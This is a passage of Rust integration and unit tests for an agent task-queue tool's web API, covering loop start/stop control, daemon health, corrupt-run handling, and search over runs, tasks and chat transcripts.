19578    #[tokio::test]
19579    async fn web_completion_requires_discard_and_reopens_to_held_with_an_audit() {
19580        let f = Fixture::start().await;
19581        let queue = f.queue();
19582        let mut task = Task::new(
19583            "unstarted".into(),
19584            "keep its history".into(),
19585            PathBuf::from("/repo/magi"),
19586            Source::Human,
19587        );
19588        write_run(&f.runs(), "20260101-000000-aud1", RunStatus::Failed);
19589        task.runs.push("20260101-000000-aud1".into());
19590        queue.put(&mut task).unwrap();
19591        let path = format!("/api/queue/{}/done", task.id);
19592        let refused = f.post(&path, None).await;
19593        assert_eq!(refused.status, 400, "{}", refused.body);
19594        let blank = f
19595            .post(&path, Some(r#"{"discard":true,"reason":" "}"#))
19596            .await;
19597        assert_eq!(blank.status, 400, "{}", blank.body);
19598        assert!(blank.body.contains("--discard requires a non-empty reason"));
19599        assert_eq!(queue.get(&task.id).unwrap().status, TaskStatus::Queued);
19600        assert!(queue.get(&task.id).unwrap().completion_history.is_empty());
19601        let closed = f
19602            .post(
19603                &path,
19604                Some(r#"{"discard":true,"reason":"owner stopped work"}"#),
19605            )
19606            .await;
19607        assert_eq!(closed.status, 200, "{}", closed.body);
19608        let reopen_path = format!("/api/queue/{}/reopen", task.id);
19609        let no_reason = f.post(&reopen_path, Some(r#"{"reason":" "}"#)).await;
19610        assert_eq!(no_reason.status, 400, "{}", no_reason.body);
19611        let reopened = f
19612            .post(&reopen_path, Some(r#"{"reason":"premature closure"}"#))
19613            .await;
19614        assert_eq!(reopened.status, 200, "{}", reopened.body);
19615        let saved = queue.get(&task.id).unwrap();
19616        assert_eq!(saved.status, TaskStatus::Held);
19617        assert_eq!(saved.completion_history.len(), 2);
19618        let event = &saved.completion_history[1];
19619        assert_eq!(event.action, crate::queue::CompletionAction::Reopen);
19620        assert_eq!(event.actor, crate::queue::CompletionActor::Web);
19621        assert_eq!(event.prior_status, TaskStatus::Done);
19622        assert_eq!(event.reason.as_deref(), Some("premature closure"));
19623    }
19624
19625    #[tokio::test]
19626    async fn unknown_ids_are_json_not_found_on_both_stores() {
19627        let f = Fixture::start().await;
19628
19629        let run = f.get("/api/runs/nosuchrun").await;
19630        let task = f.post("/api/queue/nosuchtask/hold", None).await;
19631
19632        assert_eq!(run.status, 404);
19633        assert_eq!(task.status, 404);
19634        assert!(
19635            run.json()["error"]
19636                .as_str()
19637                .is_some_and(|e| e.contains("run")),
19638            "the error names what was not found: {}",
19639            run.body
19640        );
19641        assert!(
19642            task.json()["error"]
19643                .as_str()
19644                .is_some_and(|e| e.contains("task")),
19645            "the error names what was not found: {}",
19646            task.body
19647        );
19648    }
19649
19650    #[tokio::test]
19651    async fn the_daemon_counts_as_running_only_while_its_heartbeat_is_fresh() {
19652        let f = Fixture::start().await;
19653
19654        let missing = f.get("/api/health").await.json();
19655        assert_eq!(missing["daemon"]["running"], false, "no file, no daemon");
19656
19657        write_daemon(
19658            f.home.path(),
19659            Timestamp::now() - jiff::SignedDuration::from_secs(60),
19660        );
19661        let stale = f.get("/api/health").await.json();
19662        assert_eq!(
19663            stale["daemon"]["running"], false,
19664            "a minute without a heartbeat is a dead daemon, not a busy one"
19665        );
19666        assert!(
19667            stale["daemon"]["stale_for_secs"]
19668                .as_i64()
19669                .is_some_and(|s| s >= 55),
19670            "staleness is reported so the UI can say how long: {stale}"
19671        );
19672
19673        write_daemon(f.home.path(), Timestamp::now());
19674        let fresh = f.get("/api/health").await.json();
19675        assert_eq!(fresh["daemon"]["running"], true);
19676        assert_eq!(fresh["daemon"]["idle"], false);
19677        assert_eq!(fresh["daemon"]["pid"], 4242);
19678        assert_eq!(fresh["daemon"]["completed"], 7);
19679        assert_eq!(
19680            fresh["daemon"]["current"][0]["task"],
19681            "20260902-140501-aaaa"
19682        );
19683        assert_eq!(fresh["version"], env!("CARGO_PKG_VERSION"));
19684    }
19685
19686    #[tokio::test]
19687    async fn the_loop_is_not_running_until_something_starts_it() {
19688        let f = Fixture::start().await;
19689
19690        let view = f.get("/api/loop").await.json();
19691        assert_eq!(view["running"], false);
19692        assert_eq!(
19693            view["owned"], false,
19694            "nobody owns a loop that does not exist: {view}"
19695        );
19696        assert_eq!(view["stopping"], false);
19697        assert_eq!(view["last_error"], Value::Null);
19698        assert_eq!(view["daemon"]["running"], false);
19699        assert_eq!(
19700            view["repo"], "/repo/magi",
19701            "the repository a start would use, named before it is started"
19702        );
19703    }
19704
19705    #[tokio::test]
19706    async fn starting_the_loop_runs_it_in_this_process_and_health_says_the_same() {
19707        let f = Fixture::start().await;
19708
19709        let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
19710        assert_eq!(res.status, 200, "{}", res.body);
19711        let view = res.json();
19712        assert_eq!(view["running"], true);
19713        assert_eq!(
19714            view["owned"], true,
19715            "the loop the UI started is the UI's own to stop: {view}"
19716        );
19717        assert_eq!(
19718            view["merge"],
19719            Value::Null,
19720            "no override was given, so each repository's own config decides"
19721        );
19722
19723        // The same object from the route a waking phone polls first. Two
19724        // surfaces disagreeing about whether anything is running is exactly
19725        // the confusion this UI exists to remove.
19726        let health = f.get("/api/health").await.json();
19727        assert_eq!(health["loop"]["running"], true, "{health}");
19728        assert_eq!(health["loop"]["owned"], true, "{health}");
19729
19730        f.post("/api/loop", Some(r#"{"running":false}"#)).await;
19731    }
19732
19733    #[tokio::test]
19734    async fn a_second_start_is_refused_rather_than_racing_the_first_for_claims() {
19735        let f = Fixture::start().await;
19736        let first = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
19737        assert_eq!(first.status, 200, "{}", first.body);
19738
19739        let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
19740        assert_eq!(
19741            again.status, 409,
19742            "two loops on one queue race for the same claims: {}",
19743            again.body
19744        );
19745        assert!(
19746            again.json()["error"]
19747                .as_str()
19748                .is_some_and(|e| e.contains("already running the loop")),
19749            "the refusal has to say why: {}",
19750            again.body
19751        );
19752        assert_eq!(
19753            f.get("/api/loop").await.json()["running"],
19754            true,
19755            "and the loop that was already running is untouched by it"
19756        );
19757
19758        f.post("/api/loop", Some(r#"{"running":false}"#)).await;
19759    }
19760
19761    #[tokio::test]
19762    async fn stopping_answers_at_once_and_the_loop_settles_stopped() {
19763        let f = Fixture::start().await;
19764        f.post("/api/loop", Some(r#"{"running":true}"#)).await;
19765
19766        let res = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
19767        assert_eq!(
19768            res.status, 200,
19769            "the answer must not wait for the loop: a run in flight is tens of \
19770             minutes and the operator is holding a phone: {}",
19771            res.body
19772        );
19773
19774        let view = settled(&f, |v| v["running"] == false).await;
19775        assert_eq!(view["owned"], false);
19776        assert_eq!(
19777            view["stopping"], false,
19778            "a loop that has stopped is not still stopping: {view}"
19779        );
19780        assert_eq!(
19781            view["last_error"],
19782            Value::Null,
19783            "a loop that was asked to stop did not fail: {view}"
19784        );
19785
19786        // Idempotent, because the operator cannot tell a slow stop from a lost
19787        // one and will press it again.
19788        let twice = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
19789        assert_eq!(twice.status, 200, "{}", twice.body);
19790    }
19791
19792    #[tokio::test]
19793    async fn a_loop_another_process_owns_can_be_neither_started_nor_stopped_here() {
19794        let f = Fixture::start().await;
19795        // How the operator has been doing it: a `magi serve` of their own,
19796        // heartbeat fresh, in the same home this UI reads.
19797        write_daemon(f.home.path(), Timestamp::now());
19798
19799        let view = f.get("/api/loop").await.json();
19800        assert_eq!(view["running"], false, "not in this process: {view}");
19801        assert_eq!(view["owned"], false, "and not this process's to control");
19802        assert_eq!(
19803            view["daemon"]["running"], true,
19804            "but a loop is alive somewhere, which is what the UI must say"
19805        );
19806        assert_eq!(view["daemon"]["pid"], 4242);
19807
19808        for body in [r#"{"running":true}"#, r#"{"running":false}"#] {
19809            let res = f.post("/api/loop", Some(body)).await;
19810            assert_eq!(
19811                res.status, 409,
19812                "neither button may pretend to work on someone else's loop: {}",
19813                res.body
19814            );
19815            assert!(
19816                res.json()["error"]
19817                    .as_str()
19818                    .is_some_and(|e| e.contains("4242")),
19819                "the refusal has to name the process the operator must go to: {}",
19820                res.body
19821            );
19822        }
19823        assert_eq!(
19824            f.get("/api/loop").await.json()["running"],
19825            false,
19826            "and the refusal started nothing"
19827        );
19828    }
19829
19830    #[tokio::test]
19831    async fn a_stale_status_file_is_not_a_foreign_owner() {
19832        let f = Fixture::start().await;
19833        write_daemon(
19834            f.home.path(),
19835            Timestamp::now() - jiff::SignedDuration::from_secs(60),
19836        );
19837
19838        let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
19839        assert_eq!(
19840            res.status, 200,
19841            "a daemon killed a minute ago must not lock the loop out of its \
19842             own home for good: {}",
19843            res.body
19844        );
19845        assert_eq!(res.json()["running"], true);
19846
19847        f.post("/api/loop", Some(r#"{"running":false}"#)).await;
19848    }
19849
19850    #[tokio::test]
19851    async fn loop_rev_moves_on_a_start_so_a_phone_learns_without_polling() {
19852        let f = Fixture::start().await;
19853        let before = f.get("/api/health").await.json()["loop_rev"]
19854            .as_u64()
19855            .expect("a loop revision");
19856
19857        f.post("/api/loop", Some(r#"{"running":true}"#)).await;
19858
19859        let after = f.get("/api/health").await.json()["loop_rev"]
19860            .as_u64()
19861            .expect("a loop revision");
19862        assert!(
19863            after > before,
19864            "the loop is in-process state, so this counter is the only thing \
19865             that tells a second device the first one started it: {before} -> \
19866             {after}"
19867        );
19868
19869        f.post("/api/loop", Some(r#"{"running":false}"#)).await;
19870    }
19871
19872    #[tokio::test]
19873    async fn a_loop_that_failed_says_why_and_does_not_read_as_running() {
19874        let f = Fixture::with_loop(launch_broken).await;
19875
19876        let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
19877        assert_eq!(
19878            res.status, 200,
19879            "starting it is not the failure: {}",
19880            res.body
19881        );
19882
19883        let view = settled(&f, |v| v["last_error"].is_string()).await;
19884        assert_eq!(
19885            view["running"], false,
19886            "a loop that died must not read as running, or the operator has \
19887             nothing to press: {view}"
19888        );
19889        assert_eq!(view["owned"], false);
19890        assert!(
19891            view["last_error"]
19892                .as_str()
19893                .is_some_and(|e| e.contains("read-only file system")),
19894            "the phone is where a loop that died at 3am is visible: {view}"
19895        );
19896
19897        // And it can be started again: the corpse was reaped, not left to
19898        // occupy the slot.
19899        let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
19900        assert_eq!(again.status, 200, "{}", again.body);
19901        assert!(
19902            again.json()["last_error"]
19903                .as_str()
19904                .is_none_or(|e| !e.contains("read-only file system")),
19905            "a fresh start does not keep showing why the last one died: {}",
19906            again.body
19907        );
19908    }
19909
19910    #[tokio::test]
19911    async fn a_newer_daemon_status_file_still_renders() {
19912        let f = Fixture::start().await;
19913        // A field this build has never heard of must not turn the status line
19914        // into a 500; that is the whole reason the reader is permissive.
19915        std::fs::write(
19916            f.home.path().join("daemon.json"),
19917            serde_json::json!({
19918                "schema": 2,
19919                "updated_at": Timestamp::now().to_string(),
19920                "idle": true,
19921                "surprise": { "nested": [1, 2, 3] },
19922            })
19923            .to_string(),
19924        )
19925        .expect("write daemon.json");
19926
19927        let health = f.get("/api/health").await;
19928
19929        assert_eq!(health.status, 200);
19930        assert_eq!(health.json()["daemon"]["running"], true);
19931    }
19932
19933    #[tokio::test]
19934    async fn a_corrupt_run_is_skipped_in_the_list_and_explained_on_its_own_route() {
19935        let f = Fixture::start().await;
19936        write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
19937        let broken = f.runs().join("20260902-140502-bad");
19938        std::fs::create_dir_all(&broken).expect("run dir");
19939        std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
19940
19941        let list = f.get("/api/runs").await;
19942        let detail = f.get("/api/runs/20260902-140502-bad").await;
19943
19944        assert_eq!(list.status, 200);
19945        let listed = list.json();
19946        let ids: Vec<&str> = listed
19947            .as_array()
19948            .expect("an array")
19949            .iter()
19950            .map(|r| r["id"].as_str().expect("an id"))
19951            .collect();
19952        assert_eq!(
19953            ids,
19954            vec!["20260902-140501-good"],
19955            "one unreadable run must not cost the operator the whole history"
19956        );
19957        assert_eq!(detail.status, 500);
19958        assert!(
19959            detail.json()["error"]
19960                .as_str()
19961                .is_some_and(|e| e.contains("run.json")),
19962            "the failure names the file to look at: {}",
19963            detail.body
19964        );
19965        // A skipped run has to be countable somewhere, or the UI shows an
19966        // empty history with nothing to explain it - which is exactly what a
19967        // directory full of older-schema runs looks like.
19968        let health = f.get("/api/health").await;
19969        assert_eq!(health.json()["runs_unreadable"], 1);
19970    }
19971
19972    /// Search matches nested run text, ANDs its terms and counts unreadable runs.
19973    #[tokio::test]
19974    async fn search_finds_nested_run_text_ands_terms_and_counts_unreadable() {
19975        let f = Fixture::start().await;
19976        let runs = f.runs();
19977        write_run(&runs, "20260902-140501-aaaa", RunStatus::Merged);
19978        write_run(&runs, "20260902-140502-bbbb", RunStatus::Merged);
19979        // Text three levels down, in a shape no current RunState has: an older
19980        // schema must still search.
19981        let path = runs.join("20260902-140502-bbbb").join("run.json");
19982        let mut v: serde_json::Value =
19983            serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
19984        v["legacy"] = serde_json::json!({ "rounds": [{ "finding": { "text": "The Quokka leaks\nacross threads" } }] });
19985        std::fs::write(&path, v.to_string()).unwrap();
19986        std::fs::create_dir_all(runs.join("20260902-140503-cccc")).unwrap();
19987        std::fs::write(
19988            runs.join("20260902-140503-cccc").join("run.json"),
19989            "{ not json",
19990        )
19991        .unwrap();
19992
19993        let res = f.get("/api/search?scope=runs&q=quokka").await;
19994        assert_eq!(res.status, 200, "{}", res.body);
19995        let v = res.json();
19996        assert_eq!(v["total"], 1, "{v}");
19997        assert_eq!(v["hits"][0]["id"], "20260902-140502-bbbb");
19998        assert_eq!(v["hits"][0]["field"], "text");
19999        assert_eq!(v["unreadable"], 1, "an unparsable run is counted: {v}");
20000        let parts = v["hits"][0]["snippet"].as_array().unwrap();
20001        assert!(
20002            parts
20003                .iter()
20004                .any(|p| p["hit"] == true && p["text"] == "Quokka"),
20005            "{v}"
20006        );
20007        let flat: String = parts.iter().map(|p| p["text"].as_str().unwrap()).collect();
20008        assert_eq!(
20009            flat, "The Quokka leaks across threads",
20010            "whitespace is collapsed"
20011        );
20012
20013        // Terms are ANDed, across different fields, case-insensitively.
20014        let both = f
20015            .get("/api/search?scope=runs&q=MOBILE%20quokka")
20016            .await
20017            .json();
20018        assert_eq!(both["total"], 1, "{both}");
20019        let neither = f
20020            .get("/api/search?scope=runs&q=quokka%20zebra")
20021            .await
20022            .json();
20023        assert_eq!(neither["total"], 0, "{neither}");
20024        // Everything in the task statement is reachable, not only the row text.
20025        let stmt = f
20026            .get("/api/search?scope=runs&q=mobile%20first")
20027            .await
20028            .json();
20029        assert_eq!(stmt["total"], 2, "{stmt}");
20030        let by_id = f.get("/api/search?scope=runs&q=140501-aaaa").await.json();
20031        assert_eq!(by_id["hits"][0]["id"], "20260902-140501-aaaa", "{by_id}");
20032    }
20033
20034    #[test]
20035    fn snippet_ignores_terms_longer_than_the_field() {
20036        let terms = ["ok".to_owned(), "elephant".to_owned()];
20037        let parts = snippet_of("ok", &terms);
20038        assert_eq!(
20039            parts,
20040            vec![SnippetPart {
20041                text: "ok".to_owned(),
20042                hit: true
20043            }]
20044        );
20045    }
20046
20047    #[test]
20048    fn snippet_marks_matches_longer_than_the_window() {
20049        let cap = SNIPPET_BEFORE + SNIPPET_AFTER + 2;
20050        let hit_len = |parts: &[SnippetPart]| -> usize {
20051            parts
20052                .iter()
20053                .filter(|p| p.hit)
20054                .map(|p| p.text.chars().count())
20055                .sum()
20056        };
20057        let total =
20058            |parts: &[SnippetPart]| -> usize { parts.iter().map(|p| p.text.chars().count()).sum() };
20059
20060        let long = "a".repeat(120);
20061        let parts = snippet_of(&long, std::slice::from_ref(&long));
20062        assert!(hit_len(&parts) > 0, "{parts:?}");
20063        assert!(total(&parts) <= cap);
20064
20065        let ja = "あ".repeat(130);
20066        let parts = snippet_of(&ja, std::slice::from_ref(&ja));
20067        assert!(hit_len(&parts) > 0, "{parts:?}");
20068        assert!(total(&parts) <= cap);
20069
20070        // A short hit, then one straddling the window's end.
20071        let text = format!("ab {} ab{}", "x".repeat(90), "c".repeat(100));
20072        let term = format!("ab{}", "c".repeat(100));
20073        let parts = snippet_of(&text, &["ab ".to_owned(), term]);
20074        assert!(parts.iter().filter(|p| p.hit).count() >= 2, "{parts:?}");
20075        assert!(total(&parts) <= cap);
20076
20077        // Only the head matches: not highlighted.
20078        let text = format!("{}z", "a".repeat(119));
20079        let parts = snippet_of(&text, &["a".repeat(120)]);
20080        assert_eq!(hit_len(&parts), 0, "{parts:?}");
20081    }
20082
20083    #[tokio::test]
20084    async fn search_caps_hits_and_snippet_length() {
20085        let f = Fixture::start().await;
20086        let runs = f.runs();
20087        for n in 0..(SEARCH_MAX_HITS + 5) {
20088            write_run(&runs, &format!("20260902-140501-{n:04}"), RunStatus::Merged);
20089        }
20090        let v = f.get("/api/search?scope=runs&q=web").await.json();
20091        assert_eq!(v["hits"].as_array().unwrap().len(), SEARCH_MAX_HITS);
20092        assert_eq!(v["total"], SEARCH_MAX_HITS + 5);
20093        assert_eq!(v["truncated"], true);
20094        // Every listed run hit carries its list row for the page's filters.
20095        assert!(
20096            v["hits"]
20097                .as_array()
20098                .unwrap()
20099                .iter()
20100                .all(|h| h["run"]["status"] == "merged")
20101        );
20102
20103        let long = format!("{}needle{}", "x".repeat(5000), "y".repeat(5000));
20104        let parts = snippet_of(&long, &["needle".to_owned()]);
20105        let len: usize = parts.iter().map(|p| p.text.chars().count()).sum();
20106        assert!(len <= SNIPPET_BEFORE + SNIPPET_AFTER + 2, "{len}");
20107        assert!(parts.iter().any(|p| p.hit && p.text == "needle"));
20108    }
20109
20110    #[tokio::test]
20111    async fn search_tasks_reads_every_field_and_rejects_bad_requests() {
20112        let f = Fixture::start().await;
20113        let queue = f.queue();
20114        let mut t = Task::new(
20115            "short title".to_owned(),
20116            "line one\nthe hidden Armadillo detail".to_owned(),
20117            PathBuf::from("/repo/magi"),
20118            Source::Agent {
20119                run: "r1".to_owned(),
20120                node: "chat".to_owned(),
20121            },
20122        );
20123        t.last_error = Some("disk full on /tmp".to_owned());
20124        queue.put(&mut t).expect("file the task");
20125
20126        for (q, want) in [
20127            ("armadillo", 1),
20128            ("disk%20FULL", 1),
20129            ("chat", 1),
20130            ("queued", 1),
20131            ("short%20nothing", 0),
20132        ] {
20133            let v = f
20134                .get(&format!("/api/search?scope=tasks&q={q}"))
20135                .await
20136                .json();
20137            assert_eq!(v["total"], want, "{q}: {v}");
20138        }
20139        for bad in [
20140            "/api/search?scope=tasks&q=",
20141            "/api/search?scope=tasks&q=%20",
20142            "/api/search?scope=chats&q=",
20143            "/api/search?scope=chats&q=%20",
20144            "/api/search?scope=nope&q=a",
20145            "/api/search?q=a",
20146        ] {
20147            assert_eq!(f.get(bad).await.status, 400, "{bad}");
20148        }
20149    }
20150
20151    /// Write one conversation file the way the store reads it back.
20152    fn write_talk(f: &Fixture, id: &str, status: &str, turns: &[(&str, &str)]) {
20153        let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "claude", 1))
20154            .expect("seat value");
20155        let turns: Vec<serde_json::Value> = turns
20156            .iter()
20157            .map(|(who, body)| {
20158                serde_json::json!({"who": who, "body": body, "at": "2026-09-01T00:00:00Z"})
20159            })
20160            .collect();
20161        let doc = serde_json::json!({
20162            "schema": 1, "id": id, "repo": "/SecretRepoPath", "agent": "claude-agent",
20163            "status": status, "turns": turns,
20164            "created_at": "2026-09-01T00:00:00Z", "updated_at": "2026-09-01T00:00:00Z",
20165            "seat": seat,
20166        });
20167        let dir = f.home.path().join("talks");
20168        std::fs::create_dir_all(&dir).expect("talks dir");
20169        std::fs::write(dir.join(format!("{id}.json")), doc.to_string()).expect("write talk");
20170    }
20171
20172    #[test]
20173    fn chat_search_prefers_the_saved_title_and_keeps_the_transcript() {
20174        let mut talk: Talk = serde_json::from_value(serde_json::json!({
20175            "schema": 1, "id": "20260908-205806-ab12", "repo": ".", "agent": "test",
20176            "status": "open", "turns": [{"who":"operator", "body":"古い話題", "at":"2026-09-08T20:58:02Z"}],
20177            "created_at": "2026-09-08T20:58:02Z", "updated_at": "2026-09-08T20:58:02Z",
20178            "seat": crate::agent::SeatState::new("talk", "test", 1)
20179        })).unwrap();
20180        assert_eq!(talk_search_doc(&talk)["title"], "古い話題");
20181        talk.title = Some(talk::ChatTitle {
20182            text: "最近の話題".into(),
20183            source: talk::TitleSource::Generated,
20184        });
20185        let doc = talk_search_doc(&talk);
20186        assert_eq!(doc["title"], "最近の話題");
20187        assert_eq!(doc["turns"][0]["operator"], "古い話題");
20188        talk.title.as_mut().unwrap().source = talk::TitleSource::Manual;
20189        assert_eq!(talk_search_doc(&talk)["title"], "最近の話題");
20190    }
20191
20192    #[test]
20193    fn chat_search_labels_external_turns_and_messages_without_operator_attribution() {
20194        let mut talk = talk::seeded_for_test("external", PathBuf::from("."));
20195        talk.title = Some(talk::ChatTitle {
20196            text: "Saved title".into(),
20197            source: talk::TitleSource::Manual,
20198        });
20199        talk.turns = serde_json::from_value(serde_json::json!([
20200            {
20201                "who": "operator", "sender": "external", "body": "External plain",
20202                "at": "2026-09-08T20:58:02Z"
20203            },
20204            {
20205                "who": "operator", "body": "External message",
20206                "at": "2026-09-08T20:58:03Z",
20207                "messages": [{
20208                    "sender": "external", "body": "External message", "attachments": []
20209                }]
20210            }
20211        ]))
20212        .unwrap();
20213        let doc = talk_search_doc(&talk);
20214        assert_eq!(doc["turns"][0]["external"], "External plain");
20215        assert_eq!(doc["turns"][1]["external"], "External message");
20216        assert!(doc["turns"][0].get("operator").is_none());
20217        assert!(doc["turns"][1].get("operator").is_none());
20218        let hit = search_chat(&search_terms("message"), &talk).unwrap();
20219        assert_eq!(hit.field, "external");
20220        let target = hit.target.unwrap();
20221        assert_eq!((target.turn, target.message), (1, 0));
20222    }
20223
20224    #[test]
20225    fn chat_search_targets_the_snippet_message_and_preserves_document_matching() {
20226        let talk: Talk = serde_json::from_value(serde_json::json!({
20227            "schema": 1, "id": "20260908-205806-ab12", "repo": ".", "agent": "test",
20228            "status": "open", "title": {"text":"Saved title", "source":"manual"},
20229            "turns": [{"who":"operator", "body":"First message\n\nSearch 運用", "at":"2026-09-08T20:58:02Z",
20230                "messages":[{"body":"First message", "attachments":[], "reply":null},
20231                            {"body":"Search 運用", "attachments":[], "reply":null}]},
20232                {"who":"agent", "body":"Another term", "at":"2026-09-08T20:59:02Z"}],
20233            "created_at": "2026-09-08T20:58:02Z", "updated_at": "2026-09-08T20:59:02Z",
20234            "seat": crate::agent::SeatState::new("talk", "test", 1)
20235        })).unwrap();
20236        let hit = search_chat(&search_terms("運用 Another"), &talk).unwrap();
20237        let target = hit.target.unwrap();
20238        assert_eq!((target.turn, target.message), (0, 1));
20239        assert_eq!(target.text, chat_text_key("Search 運用"));
20240        assert_eq!(
20241            hit.snippet,
20242            snippet_of("Search 運用", &search_terms("運用 Another"))
20243        );
20244        assert!(
20245            search_chat(&search_terms("Saved"), &talk)
20246                .unwrap()
20247                .target
20248                .is_none()
20249        );
20250        assert!(
20251            search_chat(&search_terms("ab12"), &talk)
20252                .unwrap()
20253                .target
20254                .is_none()
20255        );
20256        // All terms may still match across separate display rows.
20257        assert!(search_chat(&search_terms("message Search"), &talk).is_some());
20258        assert!(search_chat(&search_terms("messageSearch"), &talk).is_none());
20259    }
20260
20261    #[test]
20262    fn chat_search_targets_opener_derived_titles() {
20263        let mut talk: Talk = serde_json::from_value(serde_json::json!({
20264            "schema": 1, "id": "20260908-205806-ab12", "repo": ".", "agent": "test",
20265            "status": "open", "turns": [
20266                {"who":"agent", "body":"Welcome", "at":"2026-09-08T20:58:01Z"},
20267                {"who":"operator", "body":"\n 運用について\nDetails", "at":"2026-09-08T20:58:02Z"},
20268                {"who":"agent", "body":"Latest reply", "at":"2026-09-08T20:59:02Z"}],
20269            "created_at": "2026-09-08T20:58:01Z", "updated_at": "2026-09-08T20:59:02Z",
20270            "seat": crate::agent::SeatState::new("talk", "test", 1)
20271        }))
20272        .unwrap();
20273        let terms = search_terms("運用");
20274        let hit = search_chat(&terms, &talk).unwrap();
20275        assert_eq!(hit.field, "title");
20276        assert_eq!(hit.snippet, snippet_of("運用について", &terms));
20277        let target = hit.target.unwrap();
20278        assert_eq!((target.turn, target.message), (1, 0));
20279        assert_eq!(target.text, chat_text_key(&talk.turns[1].body));
20280        // A blank first send can put the opener line in a later display row.
20281        talk.turns[1].messages = serde_json::from_value(serde_json::json!([
20282            {"body":"", "attachments":[], "reply":null},
20283            {"body":" 運用について\nDetails", "attachments":[], "reply":null}
20284        ]))
20285        .unwrap();
20286        let target = search_chat(&terms, &talk).unwrap().target.unwrap();
20287        assert_eq!((target.turn, target.message), (1, 1));
20288        assert_eq!(target.text, chat_text_key(" 運用について\nDetails"));
20289        talk.title = Some(talk::ChatTitle {
20290            text: "運用について".into(),
20291            source: talk::TitleSource::Manual,
20292        });
20293        assert!(search_chat(&terms, &talk).unwrap().target.is_none());
20294    }
20295
20296    #[tokio::test]
20297    async fn search_chats_reads_title_and_turns_and_counts_unreadable() {
20298        let f = Fixture::start().await;
20299        write_talk(
20300            &f,
20301            "20260901-000001-aaaa",
20302            "open",
20303            &[
20304                (
20305                    "operator",
20306                    "\n  Why does the Pangolin cache expire?\nsecond line",
20307                ),
20308                ("agent", "Because the TTL is thirty seconds."),
20309            ],
20310        );
20311        write_talk(
20312            &f,
20313            "20260901-000002-bbbb",
20314            "closed",
20315            &[("operator", "unrelated"), ("agent", "The Zebra moved on.")],
20316        );
20317        std::fs::write(f.home.path().join("talks/broken.json"), "{ nope").expect("broken");
20318
20319        let search = |q: &'static str| {
20320            let f = &f;
20321            async move {
20322                f.get(&format!("/api/search?scope=chats&q={q}"))
20323                    .await
20324                    .json()
20325            }
20326        };
20327
20328        let v = search("PANGOLIN").await;
20329        assert_eq!(v["scope"], "chats");
20330        assert_eq!(v["total"], 1, "{v}");
20331        assert_eq!(v["hits"][0]["id"], "20260901-000001-aaaa");
20332        assert_eq!(v["hits"][0]["field"], "title");
20333        assert_eq!(v["unreadable"], 1, "{v}");
20334        let marked: Vec<&str> = v["hits"][0]["snippet"]
20335            .as_array()
20336            .unwrap()
20337            .iter()
20338            .filter(|p| p["hit"] == true)
20339            .map(|p| p["text"].as_str().unwrap())
20340            .collect();
20341        assert_eq!(marked, ["Pangolin"]);
20342
20343        // An agent turn, in a closed conversation.
20344        let v = search("zebra").await;
20345        assert_eq!(v["total"], 1, "{v}");
20346        assert_eq!(v["hits"][0]["field"], "agent");
20347        // Words may sit in different turns; all must be present.
20348        assert_eq!(search("pangolin%20thirty").await["total"], 1);
20349        assert_eq!(search("pangolin%20zebra").await["total"], 0);
20350        // Bookkeeping is not searched.
20351        for q in ["claude-agent", "SecretRepoPath", "open", "closed"] {
20352            assert_eq!(search(q).await["total"], 0, "{q}");
20353        }
20354        // The first line only is the title; the second line is still a turn.
20355        assert_eq!(search("second").await["hits"][0]["field"], "operator");
20356        // Open conversations are listed before closed ones.
20357        assert_eq!(search("the").await["hits"][0]["id"], "20260901-000001-aaaa");
20358
20359        let v = f.get("/api/search?scope=nope&q=a").await;
20360        assert_eq!(v.status, 400);
20361        assert!(
20362            v.body.contains("scope must be runs, tasks or chats"),
20363            "{}",
20364            v.body
20365        );
20366    }
20367
20368    #[test]
20369    fn a_question_card_links_a_task_id_to_the_task_page() {
20370        let start = APP_JS
20371            .find("function updateAskCard(")
20372            .expect("updateAskCard exists");
20373        let body = &APP_JS[start..];
20374        let body = &body[..body.find("\n}\n").expect("function end")];
20375        assert!(body.contains("question.run_is_task"));
20376        assert!(body.contains("`#/tasks/${encodeURIComponent(question.run)}`"));
20377        assert!(body.contains("`#/runs/${question.run}`"));
20378        assert!(body.contains("\"task\" : \"run\""));
20379    }
20380
20381    #[test]
20382    fn plain_text_message_surfaces_go_through_linkify() {
20383        assert!(APP_JS.contains("function linkify("));
20384        assert!(!APP_JS.contains("class: \"event-msg\", text:"));
20385        assert!(!APP_JS.contains("class: \"notice-msg\", text:"));
20386        assert!(APP_JS.contains("linkify(el(\"span\", { class: \"event-msg\" })"));
20387        assert!(APP_JS.contains("linkify(el(\"div\", { class: \"notice-msg\" })"));
20388        assert!(!APP_JS.contains("innerHTML = text"));
20389    }
20390
20391    #[test]
20392    fn implementation_rate_views_keep_independent_samples() {
20393        for (competitive_n, solo_n) in [(0, 0), (9, 10), (10, 9)] {
20394            let a = stats::AgentStats {
20395                competitive_entered: competitive_n,
20396                competitive_wins: usize::from(competitive_n > 0),
20397                solo_entered: solo_n,
20398                solo_adopted: 2 * usize::from(solo_n > 0),
20399                ..Default::default()
20400            };
20401            let v = serde_json::to_value(AgentStatsView::from(&a)).unwrap();
20402            for (key, n, numerator) in [
20403                ("competitive_win_rate", competitive_n, a.competitive_wins),
20404                ("solo_adoption_rate", solo_n, a.solo_adopted),
20405            ] {
20406                if n == 0 {
20407                    assert!(v[key].is_null());
20408                } else {
20409                    assert_eq!(v[key]["denominator"], n);
20410                    assert_eq!(v[key]["pct"], 100.0 * numerator as f64 / n as f64);
20411                }
20412            }
20413        }
20414        assert!(APP_JS.contains("rate: a.competitive_win_rate"));
20415        assert!(APP_JS.contains("rate: a.solo_adoption_rate"));
20416        assert!(APP_JS.contains("r.rate.denominator < STATS_LOW_N"));
20417        assert!(APP_JS.contains("const STATS_LOW_N = 10;"));
20418    }
20419
20420    #[test]
20421    fn stats_bars_share_one_id_keyed_plan() {
20422        let start = APP_JS
20423            .find("function statsBarRows(")
20424            .expect("statsBarRows exists");
20425        let body = &APP_JS[start..];
